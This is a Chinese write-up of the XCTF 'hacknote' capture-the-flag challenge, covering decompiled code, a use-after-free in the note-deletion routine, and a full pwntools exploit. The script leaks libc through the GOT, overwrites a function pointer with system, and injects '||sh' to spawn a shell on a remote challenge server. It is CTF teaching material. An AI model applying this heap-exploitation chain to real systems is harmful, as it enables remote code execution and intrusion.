xctf攻防世界——hacknote

32位程序,未开PIE  #use after free  #system("xxxx||sh")

程序逻辑

 1 void __cdecl __noreturn main()
 2 {
 3   int choice; // eax
 4   char buf; // [esp+8h] [ebp-10h]
 5   unsigned int v2; // [esp+Ch] [ebp-Ch]
 6 
 7   v2 = __readgsdword(0x14u);
 8   setvbuf(stdout, 0, 2, 0);
 9   setvbuf(stdin, 0, 2, 0);
10   while ( 1 )
11   {
12     while ( 1 )
13     {
14       menu();
15       read(0, &buf, 4u);
16       choice = atoi(&buf);
17       if ( choice != 2 )
18         break;
19       delnote();
20     }
21     if ( choice > 2 )
22     {
23       if ( choice == 3 )
24       {
25         printnote();
26       }
27       else
28       {
29         if ( choice == 4 )
30           exit(0);
31 LABEL_13:
32         puts("Invalid choice");
33       }
34     }
35     else
36     {
37       if ( choice != 1 )
38         goto LABEL_13;
39       addnote();
40     }
41   }
42 }

addnote函数,最多创建5个note,先创建8字节的结构体,再申请size大小的内存存放内容

 1 unsigned int addnote()
 2 {
 3   _DWORD *v0; // ebx
 4   signed int i; // [esp+Ch] [ebp-1Ch]
 5   int size; // [esp+10h] [ebp-18h]
 6   char buf; // [esp+14h] [ebp-14h]
 7   unsigned int v5; // [esp+1Ch] [ebp-Ch]
 8 
 9   v5 = __readgsdword(0x14u);
10   if ( note_num <= 5 )
11   {
12     for ( i = 0; i <= 4; ++i )
13     {
14       if ( !ptr[i] )
15       {
16         ptr[i] = malloc(8u);
17         if ( !ptr[i] )
18         {
19           puts("Alloca Error");
20           exit(-1);
21         }
22         *(_DWORD *)ptr[i] = print_content;
23         printf("Note size :");
24         read(0, &buf, 8u);
25         size = atoi(&buf);
26         v0 = ptr[i];
27         v0[1] = malloc(size);
28         if ( !*((_DWORD *)ptr[i] + 1) )
29         {
30           puts("Alloca Error");
31           exit(-1);
32         }
33         printf("Content :");
34         read(0, *((void **)ptr[i] + 1), size);
35         puts("Success !");
36         ++note_num;
37         return __readgsdword(0x14u) ^ v5;
38       }
39     }
40   }
41   else
42   {
43     puts("Full");
44   }
45   return __readgsdword(0x14u) ^ v5;
46 }

结构体如下

1 00000000 note            struc ; (sizeof=0x8, mappedto_5)
2 00000000 puts_function   dd ?  
3 00000004 content_ptr     dd ?
4 00000008 note            ends

在0x0804A050处存放有结构体指针数组

printnote函数 用结构体中的puts_function函数输出content_ptr中的内容

 1 unsigned int printnote()
 2 {
 3   int v1; // [esp+4h] [ebp-14h]
 4   char buf; // [esp+8h] [ebp-10h]
 5   unsigned int v3; // [esp+Ch] [ebp-Ch]
 6 
 7   v3 = __readgsdword(0x14u);
 8   printf("Index :");
 9   read(0, &buf, 4u);
10   v1 = atoi(&buf);
11   if ( v1 < 0 || v1 >= note_num )
12   {
13     puts("Out of bound!");
14     _exit(0);
15   }
16   if ( ptr[v1] )
17     (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
18   return __readgsdword(0x14u) ^ v3;
19 }

delnote函数  free后没有置NULL,use after free漏洞

 1 unsigned int delnote()
 2 {
 3   int v1; // [esp+4h] [ebp-14h]
 4   char buf; // [esp+8h] [ebp-10h]
 5   unsigned int v3; // [esp+Ch] [ebp-Ch]
 6 
 7   v3 = __readgsdword(0x14u);
 8   printf("Index :");
 9   read(0, &buf, 4u);
10   v1 = atoi(&buf);
11   if ( v1 < 0 || v1 >= note_num )
12   {
13     puts("Out of bound!");
14     _exit(0);
15   }
16   if ( ptr[v1] )
17   {
18     free(*((void **)ptr[v1] + 1));
19     free(ptr[v1]);
20     puts("Success");
21   }
22   return __readgsdword(0x14u) ^ v3;
23 }

利用思路


首先申请2个0x20的note,addnote(0x20,'aaaa')  addnote(0x20,'aaaa')

然后删除  delnote(0)  delnote(1)

此时0x8 fastbin中 idx1->idx0

再申请一个0x8大小的note ,结构体指针即为idx1 ,内容指针即为idx0

输入的内容即可覆盖idx0的puts_function和content_ptr两个指针

先分别覆盖为puts_funciton和puts_got ,然后printnote(0) 即可输出puts_adr,泄露libc基地址

然后再次delnote(2) 重新申请一个0x8大小的note,此时内容指针仍为idx0

再次覆盖为system_adr||sh

printnote(0)时即执行system(system_adr||sh)

这里有一个小技巧,linux终端中,执行如echo 1 || sh 只会输出1不会执行后面的sh

但如果执行如abcd || sh 时前面的命令执行不成功即会执行后面的sh

这里system_adr为无效命令,所以会执行sh,即成功了。

exploit

 1 from pwn import *
 2 #sh=process('./hacknote')
 3 sh=remote('111.198.29.45',56030)
 4 elf=ELF('./hacknote')
 5 libc=ELF('./libc-2.23.so')
 6 #libc=ELF('/lib/i386-linux-gnu/libc.so.6')
 7 
 8 def addnote(size,content):
 9     sh.recvuntil('Your choice :')
10     sh.sendline('1')
11     sh.recvuntil('Note size :')
12     sh.sendline(str(size))
13     sh.recvuntil('Content :')
14     sh.send(content)
15 
16 def printnote(idx):
17     sh.recvuntil('Your choice :')
18     sh.sendline('3')
19     sh.recvuntil('Index :')
20     sh.sendline(str(idx))
21 
22 def delnote(idx):
23     sh.recvuntil('Your choice :')
24     sh.sendline('2')
25     sh.recvuntil('Index :')
26     sh.sendline(str(idx))
27 
28 addnote(0x20,'aaaaaaaa') #idx0
29 addnote(0x20,'aaaaaaaa') #idx1
30 
31 delnote(0)
32 delnote(1)
33 #idx1->idx0->NULL
34 puts_got=elf.got['puts']
35 fun=0x0804862B
36 addnote(0x8,p32(fun)+p32(puts_got)) #idx2=idx1 idx2_content=ixd0
37 printnote(0)
38 puts_adr=u32(sh.recv(4))
39 print 'puts_adr: '+hex(puts_adr)
40 libc_base=puts_adr-libc.symbols['puts']
41 print 'libc_base: '+hex(libc_base)
42 system_adr=libc_base+libc.symbols['system']
43 delnote(2)
44 payload=p32(system_adr)+'||sh'
45 addnote(0x8,payload)
46 printnote(0)
47 sh.interactive()

猜你喜欢

转载自www.cnblogs.com/pfcode/p/10841009.html